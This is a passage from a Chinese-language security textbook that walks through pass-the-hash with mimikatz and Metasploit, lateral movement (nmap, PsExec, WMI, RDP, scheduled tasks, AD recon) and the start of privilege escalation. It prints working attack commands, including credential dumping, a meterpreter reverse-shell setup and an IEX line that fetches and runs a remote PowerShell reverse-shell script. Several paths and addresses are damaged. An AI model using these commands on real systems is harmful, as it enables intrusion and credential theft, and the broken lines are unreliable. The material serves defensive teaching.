注意,执行了一个.exe文件。如果你点击该行的超链接,你将看到该可执行文件是cmd.exe,如下所示:

该报告的最后一部分解码显示了执行cmd.exe的启动操作。

传递哈希

此时你已经访问了cmd.exe,从这里你可以使用命令start powershell -NoExit启动 PowerShell。你希望启动 PowerShell,因为你需要从 GitHub 下载mimikatz

为此,运行以下命令:

Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20170813/mimikatz_trunk.zip" -OutFile "C:tempmimikatz_trunk.zip"  

此外,确保从 Sysinternals 下载 PsExec 工具,因为稍后你将需要它。为此,可以在同一个 PowerShell 控制台中使用以下命令:

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:tempPSTools.zip"  

在 PowerShell 控制台中,使用命令expand-archive -path来解压mimikatz_trunk.zip的内容。现在你可以启动mimikatz。第一步之一是验证运行命令提示符的用户是否具有管理员权限。如果有,你在运行privilege::debug命令时将看到以下结果:

下一步是转储所有活动用户、服务及其相关的 NTLM/SHA1 哈希值。这是一个非常重要的步骤,因为它将让你了解你可以尝试攻击的用户数量,从而继续你的任务。

为此,使用命令sekurlsa::logonpasswords

如果目标计算机运行的是 Windows 7 或更早版本,你可能会看到实际的密码以明文显示。我们之所以说“可能”,是因为如果目标计算机安装了 MS16-014 更新,Windows 会在 30 秒后强制清除泄露的登录会话凭据。

继续执行攻击,因为你现在已经获得了哈希值。攻击可以在 Windows 系统上使用 mimikatz 和psexec工具(你之前下载的那个)来执行。在这个场景中,我们将使用以下命令作为示例:

sekurlsa::pth /user:yuri /domain:wdw7 /ntlm:4dbe35c3378750321e3f61945fa8c92a /run:".psexec \yuri -h cmd.exe"  

命令提示符将以该特定用户的上下文打开。如果该用户具有管理员权限,那么攻击就算成功。攻击的执行也可以通过在运行 Kali 的计算机上使用 Metasploit 来完成。命令序列如下所示:

> use exploit/windows/smb/psexec
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.1.99
> set LPORT 4445
> set RHOST 192.168.1.15
> set SMBUser Yuri
> set SMBPass 4dbe35c3378750321e3f61945fa8c92a  

完成这些步骤后,运行exploit命令并查看结果:

由于这只是红队演习,目的是证明系统容易受到这种类型的攻击。请注意,我们没有泄露任何数据,只是展示了整个身份保护系统的脆弱性。

其他身份盗窃方法

虽然可以肯定地说,通过前面提到的三种方法可以造成很大的损害,但同样可以说,依然有更多方式可以攻击身份。红队可以利用云基础设施作为攻击目标。Andres Riancho 开发的 Nimbostratus 工具是一个非常好的利用 Amazon 云基础设施的资源。

作为红队成员,你可能还需要对虚拟化程序(VMWare 或 Hyper-V)进行攻击。对于这种类型的攻击,你可以使用 PowerMemory(github.com/giMini/PowerMemory/)来利用虚拟机的密码。

参考文献

  1. 使用 Google Chrome 偷取 Windows 凭据:defensecode.com/news_article.php?id=21

  2. 俄罗斯黑客出售英国政治家和外交官的登录凭证——报告 www.theregister.co.uk/2017/06/23/russian_hackers_trade_login_credentials/

  3. Botnet-as-a-Service 在这个网络星期一出售!www.zingbox.com/blog/botnet-as-a-service-is-for-sale-this-cyber-monday/

  4. 随着任何地方计算的出现,手机基于二次身份验证的方式已经被终结:fc16.ifca.ai/preproceedings/24_Konoth.pdf

  5. 攻击者攻击二次身份验证中的弱点:krebsonsecurity.com/2012/06/attackers-target-weak-spots-in-2-factor-authentication/

  6. Microsoft Windows CVE-2017-8563 远程权限提升漏洞:www.symantec.com/security_response/vulnerability.jsp?bid=99402

  7. Pass-The-Hash 工具包:www.coresecurity.com/corelabs-research-special/open-source-tools/pass-hash-toolkit

  8. Nimbostratus 工具:andresriancho.github.io/nimbostratus/

  9. 活动家 DeRay Mckesson 的 Twitter 账户是如何被黑客攻击的

    techcrunch.com/2016/06/10/how-activist-deray-mckessons-twitter-account-was-hacked/

摘要

在本章中,你了解了身份对组织整体安全态势的重要性。你学习了红队可能用来妥协用户身份的不同策略。通过更多地了解当前的威胁形势、潜在的对手以及他们的行为方式,你可以创建更准确的攻击演练来测试防御安全控制。你了解了暴力破解攻击、使用 Kali 中的 SET 进行社会工程攻击、Pass-the-Hash 攻击,以及这些攻击如何用来执行横向移动,以完成攻击任务。

在下一章中,你将进一步了解横向移动,红队如何利用黑客思维继续进行网络映射任务,并避免触发警报。

第七章:横向移动

在前几章中,讨论了攻击者用来攻破并侵入系统的工具和技术。本章将重点介绍他们在成功入侵后尝试做的主要事情:巩固并扩大他们的存在,这就是所谓的横向移动。攻击者会在初次入侵后从一台设备移动到另一台设备,期望能够访问到高价值的数据。他们还会寻找可以进一步控制受害者网络的方法。同时,他们会尽量避免触发警报或引起任何注意。攻击生命周期的这一阶段可能会持续很长时间。在高度复杂的攻击中,这一阶段可能需要几个月的时间,攻击者才能达到他们的目标设备。

横向移动涉及扫描网络中的其他资源、收集和利用凭证,或者收集更多的信息用于数据外泄。横向移动是很难阻止的,因为组织通常在网络的多个网关设置了安全措施。因此,恶意行为仅在跨越安全区域时被检测到,而在这些区域内部则无法检测到。它是网络安全威胁生命周期中的一个重要阶段,因为它使攻击者能够获得更有害的信息和访问权限。网络安全专家表示,这是攻击过程中最关键的阶段,因为在这一阶段,攻击者会寻找资产、获取更多权限,并穿越多个系统,直到他们确认能实现他们的目标。

本章将涵盖以下主题:

  • 渗透

  • 网络映射

  • 避免警报

  • 执行横向移动

渗透

前一章讨论了黑客为获取可能允许他们进入系统的信息所做的侦察工作。外部侦察方法包括垃圾桶潜水、使用社交媒体和社交工程。垃圾桶潜水是指从组织丢弃的设备中收集有价值的数据。已经看到,社交媒体可以用来监视目标用户并获取他们可能随意发布的凭证。还讨论了多种社交工程攻击,这些攻击清楚地表明,攻击者能够强迫用户泄露登录凭证。通过使用社交工程中的六个杠杆,解释了用户为何会落入社交工程攻击的陷阱。还讨论了内部侦察技术以及用于嗅探和扫描信息的工具,这些信息可能使攻击者能够进入系统。通过这两种侦察方法,攻击者可以成功入侵系统。接下来一个重要的问题是,攻击者可以利用这种访问权限做些什么?

网络映射

在成功攻击后,攻击者会试图映射网络中的主机,以发现其中包含有价值信息的主机。有很多工具可以用来识别网络中连接的主机。最常用的工具之一是nmap,本节将解释该工具的映射功能。像许多其他工具一样,它会列出通过主机发现过程检测到的网络中的所有主机。这个过程通过扫描整个网络子网来启动,命令如下所示:

#nmap 10.168.3.1/24

也可以对某个特定的 IP 地址范围进行扫描,命令如下:

#nmap 10.250.3.1-200

以下是一个可以用来扫描目标上特定端口的命令:

#nmap -p80,23,21 192.190.3.25

有了这些信息,攻击者可以开始测试网络中感兴趣计算机上运行的操作系统。如果黑客能够确定目标设备上运行的操作系统及其具体版本,那么选择能够有效使用的黑客工具将变得容易。

以下是用于查找目标设备上运行的操作系统及其版本的命令:

#nmap -O 191.160.254.35

nmap工具具有复杂的操作系统指纹识别功能,几乎总是能够准确地告诉我们设备的操作系统类型,如路由器、工作站和服务器。

网络映射之所以可行,并且在很大程度上很容易做到,是因为在防止其发生时所面临的挑战。组织可以选择完全屏蔽其系统,以防止像nmap这样的扫描,但这通常是通过网络入侵检测系统NDISs)来完成的。当黑客扫描单个目标时,他们扫描的是网络的局部段,因此可以避免通过 NDISs。为了防止扫描发生,组织可以选择部署基于主机的入侵检测系统,但大多数网络管理员不会在网络中考虑这样做,尤其是在主机数量庞大的情况下。

每个主机上增加的监控系统将导致更多的警报,并需要更多的存储容量,具体取决于组织的规模,这可能会导致数以 TB 计的数据,其中大多数是误报。这也增加了组织中安全团队的挑战,因为他们通常只有足够的资源和意志力去调查平均只有 4%的网络安全警报。不断大量检测到误报也使得安全团队不愿继续跟进网络中的威胁。

考虑到监控横向移动活动的挑战,受害组织最好的希望是基于主机的安全解决方案。然而,黑客通常会携带能够禁用或使其失效的手段。

避免警报

攻击者需要在这个阶段避免引起警报。如果网络管理员检测到网络上存在威胁,他们将彻底搜查并阻止攻击者所取得的任何进展。许多组织在安全系统上花费了大量资金来捕捉攻击者。安全工具越来越有效,它们可以识别许多黑客工具和恶意软件的签名。因此,这要求攻击者明智行事。攻击者使用合法工具进行横向移动的趋势已经存在。这些工具和技术是系统已知的或属于系统的,因此通常不构成威胁。因此,安全系统会忽略它们,因为它们是合法的。这些工具和技术使攻击者能够在安全网络中在安全系统的眼皮底下四处移动。

以下是攻击者如何通过使用 PowerShell 避免被检测的示例。可以看到,与其下载一个文件,被目标防病毒系统扫描, PowerShell 直接加载来自互联网的 PS1 文件而不是下载然后加载:

PS > IEX (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1')

这样的命令将防止正在下载的文件被防病毒程序标记。攻击者还可以利用 Windows NT 文件系统(NTFS)中的备用数据流ADS)来避免警报。通过使用 ADS,攻击者可以将其文件隐藏在合法的系统文件中,这对于在系统之间移动是一个很好的策略。以下命令将 Netcat (github.com/diegocr/netcat) 分叉为一个名为计算器calc.exe)的有效 Windows 实用程序,并将文件名(nc.exe)更改为svchost.exe。这样进程名称不会引起任何警报,因为它是系统的一部分:

如果您只使用 dir 命令列出此文件夹中的所有文件,您将看不到该文件。但是,如果您使用 Sysinternals 中的 streams 工具,您将能够看到整个名称如下:

执行横向移动

横向移动可以使用不同的技术和策略进行。攻击者利用它们在网络中从一个设备移动到另一个设备。他们的目标是加强他们在网络中的存在,并访问许多设备,这些设备包含有价值的信息或用于控制诸如安全等敏感功能。在本节中,我们将介绍最常见的工具和策略。

端口扫描

这可能是唯一一种在黑客领域中保留下来的古老技术。它也基本保持不变,因此可以通过各种工具以相同的方式执行。端口扫描用于横向移动,目的是识别黑客可以攻击并尝试从中获取有价值数据的感兴趣系统或服务。这些系统主要是数据库服务器和 Web 应用程序。黑客已经学会了快速和全面的端口扫描很容易被检测到,因此他们使用更慢的扫描工具,可以绕过所有网络监控系统。监控系统通常配置为识别网络上的异常行为,但通过以足够慢的速度扫描,监控工具将不会检测到扫描活动。

大多数使用的扫描工具在第四章中已经讨论过,侦察nmap工具通常是许多人的首选,因为它具有许多功能,并且始终可靠和可信赖。

在上一章,也就是第六章,追踪用户身份,详细介绍了nmap的操作方式以及它向用户提供的信息类型。默认的nmap扫描使用完整的 TCP 连接握手,足以找到其他黑客可以移动到的目标。以下是一些 nmap 中进行端口扫描的示例:

# nmap -p80 192.168.4.16

这个命令只是扫描目标机器 IP 为192.168.4.16的端口80是否开放:

# nmap -p80,23 192.1168.4.16

也可以通过在命令中用逗号分隔它们来检查多个端口是否开放,就像之前展示的那样。

Sysinternals

Sysinternals 是由一家名为 Sysinternals 的公司开发的一套工具,后来被微软收购。该公司推出了一套工具,允许管理员从远程终端控制基于 Windows 的计算机。不幸的是,这套工具现在也被黑客使用。攻击者使用 Sysinternals 上传、执行和与远程主机上的可执行文件交互(1)。整个套件都是通过命令行界面工作的,可以进行脚本化。它具有隐蔽性的优势,因为在操作时不会向远程系统的用户发出警报。套件中包含的工具也被 Windows 分类为合法的系统管理员工具,因此被防病毒程序忽略。

Sysinternals 使外部参与者能够连接到远程计算机并运行命令,这些命令可以显示有关正在运行的进程的信息,并在需要时终止它们或停止服务。这个工具的简单定义已经揭示了它所拥有的巨大力量。如果被黑客使用,它可能停止组织在其计算机和服务器上部署的安全软件。Sysinternals 实用程序可以在远程计算机的后台执行许多任务,这使其对黑客比远程桌面程序RDPs)更具适用性和实用性。Sysinternals 套件由 13 个工具组成,这些工具在远程计算机上执行不同的操作。

常用的前六个工具是:

  • PsExec: 用于执行进程

  • PsFile: 显示打开的文件

  • PsGetSid: 显示用户的安全标识符

  • PsInfo: 提供关于计算机的详细信息

  • PsKill: 终止进程

  • PsList: 列出有关进程的信息

接下来的一组工具包括:

  • PsLoggedOn: 列出已登录的帐户

  • PsLogList: 拉取事件日志

  • PsPassword: 用于更改密码

  • PsPing: 启动 ping 请求

  • PsService: 可以更改 Windows 服务

  • PsShutdown: 可以关闭计算机

  • PsSuspend: 可以暂停进程(1)

Sysinternals 的详尽工具列表显示它携带一些强大的工具。拥有这些工具和正确的凭据,攻击者可以快速在网络中的设备之间移动。

在列出的所有工具中,PsExec 是最强大的工具。它可以在本地计算机的命令提示符上运行的任何内容,在远程计算机上执行。因此,它可以更改远程计算机的注册表值,执行脚本和实用程序,并连接远程计算机到另一个计算机。这个工具的优势在于命令的输出显示在本地计算机上而不是远程计算机上。因此,即使远程计算机上有活跃用户,也不会被检测到可疑活动。PsExec 工具通过网络连接到远程计算机,执行一些代码,并将输出发送回本地计算机,而不会引起远程计算机用户的警报。

PsExec 工具的一个独特功能是它可以直接将程序复制到远程计算机上。因此,如果黑客在远程计算机上需要某个特定程序,PsExec 可以被命令将其临时复制到远程计算机上,并在连接终止后将其删除。

以下是如何实现这一点的示例:

Psexec \remotecomputername -c autorunsc.exe -accepteula

前一个命令将程序 autorunsc.exe 复制到远程计算机。命令中的 -accepteula 部分用于确保远程计算机接受程序可能提示的条款和条件或最终用户许可协议。

PsExec 工具还可以用来恶意与登录用户进行交互。这是通过像远程计算机上的记事本这样的程序来实现的。攻击者可以通过提供以下命令在远程计算机上启动 notepad

Psexec \remotecomputername -d -i notepad 

-i 指示远程计算机启动应用程序,而 -dnotepad 启动完成之前将控制权交还给攻击者。

最后,PsExec 工具能够编辑注册表值,允许应用程序以系统权限运行,并访问通常锁定的数据。编辑注册表可能是危险的,因为它们可以直接影响计算机硬件和软件的运行。注册表损坏可能导致计算机无法正常工作。在本地计算机上,可以使用以下命令以 SYSTEM 用户级权限打开注册表,从而可以查看和更改通常隐藏的值:

Psexec -i -d -s regedit.exe

从之前的说明来看,可以说 PsExec 是一个非常强大的工具。以下图示展示了 PsExeccmd.exe 上运行的远程终端会话,并用于查找远程计算机的网络信息:

文件共享

这是攻击者在已入侵的网络中常用的另一种横向移动方法。此方法的主要目的是捕获网络中大部分可用数据。文件共享是许多网络中使用的协作机制,它们允许客户端访问存储在服务器或某些计算机上的文件。有时,服务器中会包含敏感信息,如客户数据库、操作程序、软件、模板文档和公司机密。机器上的内置管理共享对于整个硬盘非常有用,因为它们允许网络上的任何人访问并读写整个硬盘。

文件共享为黑客提供了低检测概率的优势,因为这些是通常不会被监控的合法流量通道。因此,恶意攻击者将有充足的时间访问、复制甚至编辑网络中任何共享媒体的内容。也有可能在共享环境中植入其他漏洞,以感染复制文件的计算机。当黑客已经获得具有提升权限的账户时,这种技术非常有效。通过这些权限,他们可以访问大部分具有读写权限的共享数据。

以下是一些可以用来进行文件共享的 PowerShell 命令。

第一个命令将指定要共享的文件,接下来的命令将其转换为共享文件夹:

New_Item "D:Secretfile" -typedirectoryNew_SMBShare -Name "Secretfile" -Path "D:Secretfile"-ContinouslyAvailableFullAccess domainadminstratorgroup-changeAccess domaindepartmentusers-ReadAccess "domainauthenticated users"

另一种选择是使用 PowerShell 工具 Nishang(github.com/samratashok/nishang)。正如我们之前提到的,你也可以在这里使用 ADS 来隐藏文件,在这种情况下,你可以使用 Invoke-ADSBackdoor 命令。

远程桌面

远程桌面是另一种合法的远程访问和控制计算机的方式,它可以被黑客滥用进行横向渗透。这一工具相比 Sysinternals 的主要优势在于,它可以提供被攻击计算机的完整交互式图形用户界面GUI)。当黑客已经攻破网络内的计算机时,远程桌面可以被启动。只要拥有有效的凭据并且知道目标的 IP 地址或计算机名称,黑客就可以使用远程桌面进行远程访问。通过远程连接,攻击者可以窃取数据、禁用安全软件,或安装恶意软件,以便进一步控制更多机器。远程桌面已在许多实例中被用来获取对控制企业安全软件解决方案和网络监控安全系统的服务器的访问。

值得注意的是,远程桌面连接是完全加密的,因此对任何监控系统都是不透明的。因此,它们无法被安全软件标记,因为它们是 IT 工作人员常用的管理机制。

远程桌面的主要缺点是,正在远程操作计算机的用户可以察觉到外部人员何时登录到计算机。因此,攻击者通常在目标计算机或服务器上没有用户在场时使用远程桌面。夜间、周末、假期和午餐时间是常见的攻击时段,这时几乎可以肯定连接不会被注意到。此外,由于 Windows 操作系统的服务器版本通常允许多个会话同时运行,因此用户在服务器上几乎不可能察觉到 RDP 连接。

然而,有一种独特的黑客方法,使用远程桌面通过一个叫做 EsteemAudit 的漏洞进行攻击。

EsteemAudit 是黑客组织 Shadow Brokers 从 NSA 窃取的利用工具之一。早些章节中提到,同一组织发布了 NSA 的 EternalBlue 漏洞,并在 WannaCry 勒索病毒中被使用。EsteemAudit 利用了早期版本的 Windows(如 Windows XP 和 Windows Server 2003)中的远程桌面应用漏洞。受影响的 Windows 版本已不再得到微软支持,且公司并未发布补丁。然而,微软很可能会发布补丁,就像发布 EternalBlue 漏洞时,微软为所有版本发布了补丁,包括已停止支持的 Windows XP。

EsteemAudit 利用了系统堆的内部结构中的跨块堆溢出漏洞,而该堆又是 Windows 智能卡的一个组成部分。该内部结构有一个大小为 0x80 的缓冲区,用于存储智能卡信息。紧邻缓冲区的是两个指针。黑客发现了一个调用,可以在没有边界检查的情况下执行。这个漏洞可以用来将比 0x80 大的数据复制到相邻的指针,导致 0x80 缓冲区溢出。攻击者利用 EsteemAudit 发出导致溢出的恶意指令。攻击的最终结果是远程桌面的受损,使得未经授权的人可以访问远程计算机。缓冲区溢出被用来实现这一点。

PowerShell

这又是一个被黑客用于恶意目的的合法 Windows 操作系统工具。在本章中,我们已经展示了多种使用合法 PowerShell 命令进行恶意任务的方式。使用这些合法工具进行攻击的普遍趋势是避免被安全软件检测到。安全公司已经追赶上大部分恶意软件并识别出它们的特征,因此黑客尽可能地尝试使用被操作系统认定为安全和合法的工具。

PowerShell 是一种内建的面向对象脚本工具,现代版本的 Windows 系统中都可用。它功能强大,可以用来窃取内存中的敏感信息,修改系统配置,并自动化设备间的移动。目前,有多个针对黑客和安全的 PowerShell 模块在使用中。最常见的模块是 PowerSploitNishang

最近,中国黑客在美国发起的攻击事件引发了广泛关注,调查人员表示,攻击者利用了 PowerShell 的强大功能(8)。据称,这些中国黑客部署了 PowerShell 脚本,在多台 Windows 机器上以计划任务的形式运行。这些脚本通过 PowerShell 的命令行界面传递,而不是使用外部文件,从而避免了触发防病毒程序(8)。这些脚本一旦执行,就会下载一个可执行文件,并通过远程访问工具运行。这确保了没有留下任何痕迹,避免了法医调查人员的追踪,并且因为留下了最小的足迹,他们的攻击获得了成功。

Windows 管理工具

Windows 管理工具WMI)是微软内建的框架,用于管理 Windows 系统的配置方式。由于它是 Windows 环境中的合法框架,黑客可以在不被安全软件检测到的情况下使用它。唯一的限制是黑客必须已经获得了对该机器的访问权限。本章关于攻击策略深入探讨了黑客如何获取计算机访问权限的方法。

该框架可用于远程启动进程、进行系统信息查询,以及存储持久化恶意软件。对于横向渗透,黑客有几种方式可以利用它。他们可以使用它来支持命令行命令的运行,获取输出,修改注册表值,运行 PowerShell 脚本,接收输出,最后干扰服务的运行。

该框架还可以支持许多数据收集操作。它通常被黑客作为一个快速的系统枚举工具来快速分类目标。它可以提供黑客的信息,例如计算机的用户、计算机连接的本地和网络驱动器、IP 地址以及已安装的程序。它还具有注销用户、关闭或重启计算机的能力。它还可以根据活动日志判断某个用户是否正在使用计算机。在 2014 年索尼影业遭遇的著名黑客攻击中,WMI 发挥了关键作用,攻击者利用它来启动已经安装在组织网络中计算机上的恶意软件。

WMImplant 是一个利用 WMI 框架在目标计算机上执行恶意操作的黑客工具示例。WMImplant 设计精良,菜单与 Metasploit 的 Meterpreter 类似。

以下是该工具主菜单的图示,展示了它可以执行的操作:

从菜单中可以看出,工具非常强大。它有专门为远程机器的横向渗透设计的命令。它使黑客能够执行 cmd 命令,获取输出,修改注册表,运行 PowerShell 脚本,最终创建和删除服务。

WMImplant 和其他远程访问工具(如 Meterpreter)的主要区别在于,WMImplant 原生运行在 Windows 系统上,而其他工具必须先加载到计算机上。

计划任务

Windows 有一个命令,攻击者可以用它在本地或远程计算机上调度自动执行任务。这使得黑客可以脱离犯罪现场。因此,如果目标计算机上有用户,任务将会在不引起注意的情况下执行。计划任务不仅仅用于定时执行任务,黑客还用它们以 SYSTEM 用户权限执行任务。在 Windows 系统中,这可以被视为一次权限提升攻击,因为 SYSTEM 用户对执行计划任务的计算机拥有完全控制权限。如果没有系统权限,这种攻击是无法成功的,因为最新版本的 Windows 操作系统已经采取了防止计划任务执行这种行为的措施。

定时任务也是攻击者用来在不引起警觉的情况下长期窃取数据的工具。它们是安排可能会消耗大量 CPU 资源和网络带宽的任务的完美方式。因此,当需要压缩和通过网络传输大文件时,定时任务非常适用。任务可以设置在夜间或周末执行,这样目标计算机上就不会有用户。

Token stealing(令牌窃取)

这是一种新技术,据报道黑客在进入网络后用于横向渗透。它非常有效,自 2014 年以来几乎所有著名的攻击事件中都使用了这一技术。该技术利用了像 Mimikatz(如第六章中提到的,追踪用户身份)和 Windows 凭证编辑器等工具,在计算机的内存中查找用户帐户。然后,攻击者可以利用这些帐户创建 Kerberos 票证,从而将普通用户提升为域管理员。然而,要实现这一点,必须在内存中找到带有域管理员权限的现有令牌或域管理员用户帐户。使用这些工具的另一个挑战是,它们可能会因执行可疑操作而被杀毒软件检测到。然而,正如大多数工具的情况一样,攻击者正在不断改进这些工具,创建完全不可检测的版本。其他攻击者还使用 PowerShell 等工具来避免被检测到。尽管如此,这种技术依然构成了一个巨大威胁,因为它能非常快速地提升用户权限。它还可以与能够阻止杀毒软件的工具协作,完全避免被检测到。

Pass-the-hash(哈希传递攻击)

如前一章所述,这是黑客正在使用的策略,利用 NTLM 协议的工作原理。攻击者不是通过暴力破解系统或使用字典攻击,而是使用密码哈希。因此,他们并不寻求明文密码,而是仅在要求进行远程计算机身份验证时,使用密码哈希。因此,攻击者正在寻找计算机中的密码哈希,然后将这些哈希传递给需要身份验证的服务。

除了第六章中给出的示例,追踪用户身份,你还可以使用 PowerShell 工具 Nishang 通过Get-PassHashes命令提取所有本地帐户的密码哈希。

Active Directory(活动目录)

这是获取连接到域网络的设备信息的最丰富来源。它还可以为系统管理员提供对这些设备的控制。它可以被看作是任何网络的电话簿,存储着黑客可能在网络中寻找的所有有价值的信息。活动目录AD)具有如此多的功能,以至于黑客一旦突破网络,就会不遗余力地去攻破它。网络扫描器、内部威胁和远程访问工具可以被用来为黑客提供对 AD 的访问。

AD 存储了网络中用户的姓名以及他们在组织中的角色。该目录允许管理员更改网络中任何用户的密码。这是黑客以最小的努力获得网络中其他计算机访问权限的非常简单的方法。AD 还允许管理员更改用户的权限,因此黑客可以利用这一点将某些账户提升为域管理员。黑客可以从 AD 做很多事情。因此,它是攻击的关键目标,也是组织努力保护充当该角色的服务器的原因。

默认情况下,属于 AD 域的 Windows 系统会使用 Kerberos 进行身份验证。还有许多服务会在 AD 上注册以获取其服务主体名称SPN)。根据红队的策略,攻击 AD 的第一步是对环境进行侦察,这可以通过仅收集域中的基本信息开始。一种不引起注意的方法是使用 PyroTek3 提供的 PowerShell 脚本(github.com/PyroTek3/PowerShell-AD-Recon)。

对于这些基本信息,你可以使用以下命令:

Get-PSADForestInfo

下一步可能是找出哪些 SPN 可用。要获取 AD 中的所有 SPN,你可以使用以下命令:

Discover-PSInterestingServices -GetAllForestSPNs

这将为你提供大量可以继续攻击的信息。如果你只想知道当前配置了 SPN 的服务账户,你也可以使用以下命令:

Find-PSServiceAccounts -Forest

你还可以利用mimikatz通过以下命令获取关于 Kerberos 票证的信息:

mimikatz # kerberos::list

另一种方法是通过利用 MS14-068 (9) 漏洞攻击 AD。尽管这个漏洞较老(2014 年 11 月),但它非常强大,因为它允许具有有效域账户的用户通过创建伪造的特权账户证书PAC),其中包含管理员账户的成员资格,并将其嵌入到发送给密钥分发中心KDC)的票证请求(TG_REQ)中,从而获得管理员权限。

远程注册表

Windows 操作系统的核心是注册表,因为它控制着计算机的硬件和软件。注册表通常作为其他横向移动技术和战术的一部分使用。如果攻击者已经远程访问了目标计算机,注册表也可以作为一种技术来使用。可以远程编辑注册表以禁用保护机制、禁用自动启动程序(如防病毒软件),并安装支持恶意软件不间断存在的配置。黑客可以通过多种方式远程访问计算机并编辑注册表,其中一些方法已被讨论过。

以下是黑客过程中使用的注册表技术之一:

HKLMSystemCurrentControlSetServices

这是 Windows 存储关于计算机上安装的驱动程序信息的地方。驱动程序通常在初始化时从这个路径请求其全局数据。然而,有时恶意软件会被设计成安装在这个目录树中,从而使其几乎无法被检测到。黑客会以服务/驱动程序的形式启动它,并赋予管理员权限。由于它已经存在于注册表中,它大多数情况下会被认为是一个合法的服务。它还可以设置为在启动时自动启动。

被攻破主机分析

这可能是所有横向移动技术中最简单的一种。它发生在攻击者已经获得计算机访问权限之后。攻击者会在被攻破的计算机上查找任何可以帮助他/她进一步进行攻击的信息。这些信息包括浏览器中存储的密码、文本文件中存储的密码、日志以及被攻破用户的屏幕截图,甚至包括组织内部网络中的任何详细信息。有时,访问高层员工的计算机可以为黑客提供大量内部信息,包括组织政治。对这样一台计算机的分析可以为对组织进行更具破坏性的攻击奠定基础。

中央管理员控制台

一些决心坚定的攻击者希望穿越网络时,目标是中央管理员控制台,而非单个用户。从控制台控制一个感兴趣的设备比每次都要入侵它要容易得多。这也是为什么 ATM 控制器、POS 管理系统、网络管理工具和活动目录是黑客的主要目标。一旦黑客获得了这些控制台的访问权限,就很难将它们移除,同时他们可以造成更多的损害。这种访问方式使得他们突破了安全系统,甚至可以限制组织网络管理员的行动。

邮箱掠夺

组织中的大量敏感信息存储在员工之间的邮件通讯中。因此,单个用户的电子邮件收件箱对黑客来说是一次幸运的机会。通过电子邮件,黑客可以收集有关个人用户的信息,并将其用于针对特定目标的钓鱼攻击。鱼叉式钓鱼攻击是针对特定人的定制化钓鱼攻击,正如在第四章中讨论的那样,侦察。访问电子邮件还使黑客能够调整他们的攻击策略。如果触发了警报,系统管理员通常会通过电子邮件向用户通报事件响应流程和应采取的预防措施。这些信息可能正是黑客所需的,帮助他们根据情况调整攻击策略。

参考文献

  1. L. Heddings,使用 PsTools 从命令行控制其他计算机Howtogeek.com,2017 年。[在线]. 可用链接:www.howtogeek.com/school/sysinternals-pro/lesson8/all/。[访问日期:2017 年 8 月 13 日]。

  2. C. Sanders,PsExec 和它可以做的恶性操作 - TechGenix,Techgenix.com,2017 年。[在线]. 可用链接:techgenix.com/psexec-nasty-things-it-can-do/。[访问日期:2017 年 8 月 13 日]。

  3. D. FitzGerald,你安全摄像头内部的黑客,《华尔街日报》,2017 年。可用链接:search.proquest.com/docview/1879002052?accountid=45049

  4. S. Metcalf,使用 PowerShell 进行黑客攻击 - Active Directory 安全性,Adsecurity.org,2017 年。[在线]. 可用链接:adsecurity.org/?p=208。[访问日期:2017 年 8 月 13 日]。

  5. A. Hesseldahl,索尼黑客攻击中使用的恶意软件细节曝光,《Recode》,2017 年。[在线]. 可用链接:www.recode.net/2014/12/2/11633426/details-emerge-on-malware-used-in-sony-hacking-attack。[访问日期:2017 年 8 月 13 日]。

  6. 隐身模式的乐趣 - Metasploit Unleashed,Offensive-security.com,2017 年。[在线]. 可用链接:www.offensive-security.com/metasploit-unleashed/fun-incognito/。[访问日期:2017 年 8 月 13 日]。

  7. A. Hasayen,Pass-the-Hash 攻击,Ammar Hasayen,2017 年。[在线]. 可用链接:ammarhasayen.com/2014/06/04/pass-the-hash-attack-compromise-whole-corporate-networks/。[访问日期:2017 年 8 月 13 日]。

  8. S. Metcalf,使用 PowerShell 进行黑客攻击 - Active Directory 安全性,Adsecurity.org,2018 年。[在线]. 可用链接:adsecurity.org/?p=208。[访问日期:2018 年 1 月 1 日]。

  9. Microsoft 安全公告 MS14-068 - 严重漏洞,Docs.microsoft.com,2018 年。[在线]。可用链接:docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068。[访问日期:2018 年 1 月 1 日]。

总结

本章讨论了攻击者如何利用合法工具在网络中进行横向移动。某些工具非常强大,因此它们通常是攻击的主要目标。本章揭示了攻击者利用的可利用路径,这些路径曾被攻击者用来在组织内部外部穿梭。横向移动阶段被认为是最长的阶段,因为黑客通常需要花费大量时间在整个网络中进行横向渗透。

在这个阶段,几乎无法阻止黑客进一步危害受害者的系统。受害者的命运几乎总是已经注定,正如下一章所展示的那样。该章节将探讨权限提升问题,并重点关注攻击者如何提升他们已侵入账户的权限。它将讨论权限提升的两种类别:垂直提升和水平提升。将会广泛讨论这两种提升方式的实施方法。

第八章:特权升级

之前的章节已经解释了攻击过程,直到攻击者能够攻破一个系统为止。上一章第七章,横向移动,讨论了攻击者如何在被攻破的系统中移动而不被发现或触发任何警报。可以观察到一个普遍趋势,即攻击者使用合法工具来避免警报。在攻击生命周期的这个阶段,也可能会观察到类似的趋势。

本章将重点讲解攻击者如何提升他们已入侵的用户账户的特权。在这个阶段,攻击者的目标是获取所需的特权级别,以实现更大的目标。可能的目标包括大规模删除、损坏或窃取数据、禁用计算机、破坏硬件等。攻击者需要控制访问系统,以便成功实施他们的所有计划。大多数攻击者在开始实际攻击之前,都会力图获得管理员级别的特权。许多系统开发人员已经实施了最小特权原则,即为用户分配执行工作所需的最少特权。因此,大多数账户没有足够的权限来滥用或更改某些文件。黑客通常会入侵这些低特权账户,因此他们需要将其升级为更高的特权账户,才能访问文件或更改系统。

本章将涵盖以下主题:

  • 渗透

  • 避免警报

  • 执行特权升级

  • 结论

渗透

特权升级通常发生在攻击的深层阶段。这意味着攻击者已经完成了侦察并成功攻破了一个系统,从而获得了进入权限。之后,攻击者会通过横向移动在被攻破的系统中穿行,识别出所有感兴趣的系统和设备。在这个阶段,攻击者希望牢牢控制系统。攻击者可能已经入侵了一个低级账户,因此,他们会寻找具有更高特权的账户,以便进一步研究系统或为最终攻击做好准备。特权升级并不是一个简单的阶段,因为有时它会要求攻击者使用一系列技能和工具来提升特权。特权升级通常分为两类:横向特权升级和纵向特权升级。

横向特权升级

